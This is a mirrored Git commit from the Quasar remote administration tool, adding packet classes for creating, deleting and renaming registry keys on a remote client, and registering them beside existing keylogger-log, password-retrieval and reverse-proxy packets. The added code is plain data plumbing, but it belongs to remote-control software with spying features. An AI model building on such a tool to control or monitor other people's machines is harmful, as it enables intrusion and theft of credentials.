mirror of https://github.com/quasar/Quasar.git
Added new packets to support Create, Delete and Rename actions of the RegistryKey
This commit is contained in:
parent
d1e8edc56d
commit
8648b3ee1a
|
@ -94,8 +94,11 @@
|
||||||
<Compile Include="Core\Cryptography\SHA256.cs" />
|
<Compile Include="Core\Cryptography\SHA256.cs" />
|
||||||
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
|
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
|
||||||
<Compile Include="Core\Networking\QuasarClient.cs" />
|
<Compile Include="Core\Networking\QuasarClient.cs" />
|
||||||
|
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
|
||||||
|
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
||||||
|
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
||||||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
|
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
|
||||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
|
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
|
||||||
|
|
|
@ -78,6 +78,9 @@ namespace xClient.Core.Networking
|
||||||
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
|
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
|
||||||
typeof (Packets.ClientPackets.GetPasswordsResponse),
|
typeof (Packets.ClientPackets.GetPasswordsResponse),
|
||||||
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
|
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
|
||||||
|
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
|
||||||
|
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
||||||
|
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||||
|
|
|
@ -0,0 +1,26 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using xClient.Core.Networking;
|
||||||
|
using xClient.Core.Registry;
|
||||||
|
|
||||||
|
namespace xClient.Core.Packets.ClientPackets
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class GetCreateRegistryKeyResponse : IPacket
|
||||||
|
{
|
||||||
|
public string ParentPath { get; set; }
|
||||||
|
public RegSeekerMatch Match { get; set; }
|
||||||
|
|
||||||
|
public bool IsError { get; set; }
|
||||||
|
public string ErrorMsg { get; set; }
|
||||||
|
|
||||||
|
public GetCreateRegistryKeyResponse() { }
|
||||||
|
|
||||||
|
public void Execute(Client client)
|
||||||
|
{
|
||||||
|
client.Send(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,25 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using xClient.Core.Networking;
|
||||||
|
|
||||||
|
namespace xClient.Core.Packets.ClientPackets
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class GetDeleteRegistryKeyResponse : IPacket
|
||||||
|
{
|
||||||
|
public string ParentPath { get; set; }
|
||||||
|
public string KeyName { get; set; }
|
||||||
|
|
||||||
|
public bool IsError { get; set; }
|
||||||
|
public string ErrorMsg { get; set; }
|
||||||
|
|
||||||
|
public GetDeleteRegistryKeyResponse() { }
|
||||||
|
|
||||||
|
public void Execute(Client client)
|
||||||
|
{
|
||||||
|
client.Send(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,26 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using xClient.Core.Networking;
|
||||||
|
|
||||||
|
namespace xClient.Core.Packets.ClientPackets
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class GetRenameRegistryKeyResponse : IPacket
|
||||||
|
{
|
||||||
|
public string ParentPath { get; set; }
|
||||||
|
public string OldKeyName { get; set; }
|
||||||
|
public string NewKeyName { get; set; }
|
||||||
|
|
||||||
|
public bool IsError { get; set; }
|
||||||
|
public string ErrorMsg { get; set; }
|
||||||
|
|
||||||
|
public GetRenameRegistryKeyResponse() { }
|
||||||
|
|
||||||
|
public void Execute(Client client)
|
||||||
|
{
|
||||||
|
client.Send(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -125,6 +125,9 @@ namespace xServer.Core.Networking
|
||||||
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
|
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
|
||||||
typeof (Packets.ClientPackets.GetPasswordsResponse),
|
typeof (Packets.ClientPackets.GetPasswordsResponse),
|
||||||
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
|
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
|
||||||
|
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
|
||||||
|
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
||||||
|
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||||
|
|
|
@ -0,0 +1,26 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using xServer.Core.Networking;
|
||||||
|
using xServer.Core.Registry;
|
||||||
|
|
||||||
|
namespace xServer.Core.Packets.ClientPackets
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class GetCreateRegistryKeyResponse : IPacket
|
||||||
|
{
|
||||||
|
public string ParentPath { get; set; }
|
||||||
|
public RegSeekerMatch Match { get; set; }
|
||||||
|
|
||||||
|
public bool IsError { get; set; }
|
||||||
|
public string ErrorMsg { get; set; }
|
||||||
|
|
||||||
|
public GetCreateRegistryKeyResponse() { }
|
||||||
|
|
||||||
|
public void Execute(Client client)
|
||||||
|
{
|
||||||
|
client.Send(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,25 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using xServer.Core.Networking;
|
||||||
|
|
||||||
|
namespace xServer.Core.Packets.ClientPackets
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class GetDeleteRegistryKeyResponse : IPacket
|
||||||
|
{
|
||||||
|
public string ParentPath { get; set; }
|
||||||
|
public string KeyName { get; set; }
|
||||||
|
|
||||||
|
public bool IsError { get; set; }
|
||||||
|
public string ErrorMsg { get; set; }
|
||||||
|
|
||||||
|
public GetDeleteRegistryKeyResponse() { }
|
||||||
|
|
||||||
|
public void Execute(Client client)
|
||||||
|
{
|
||||||
|
client.Send(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,26 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using xServer.Core.Networking;
|
||||||
|
|
||||||
|
namespace xServer.Core.Packets.ClientPackets
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class GetRenameRegistryKeyResponse : IPacket
|
||||||
|
{
|
||||||
|
public string ParentPath { get; set; }
|
||||||
|
public string OldKeyName { get; set; }
|
||||||
|
public string NewKeyName { get; set; }
|
||||||
|
|
||||||
|
public bool IsError { get; set; }
|
||||||
|
public string ErrorMsg { get; set; }
|
||||||
|
|
||||||
|
public GetRenameRegistryKeyResponse() { }
|
||||||
|
|
||||||
|
public void Execute(Client client)
|
||||||
|
{
|
||||||
|
client.Send(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -140,7 +140,10 @@
|
||||||
<Compile Include="Core\NetSerializer\TypeSerializers\GenericSerializer.cs" />
|
<Compile Include="Core\NetSerializer\TypeSerializers\GenericSerializer.cs" />
|
||||||
<Compile Include="Core\NetSerializer\TypeSerializers\ObjectSerializer.cs" />
|
<Compile Include="Core\NetSerializer\TypeSerializers\ObjectSerializer.cs" />
|
||||||
<Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" />
|
<Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" />
|
||||||
|
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
|
||||||
|
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
||||||
|
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
||||||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
|
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
|
||||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
|
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
|
||||||
|
|
Loading…
Reference in New Issue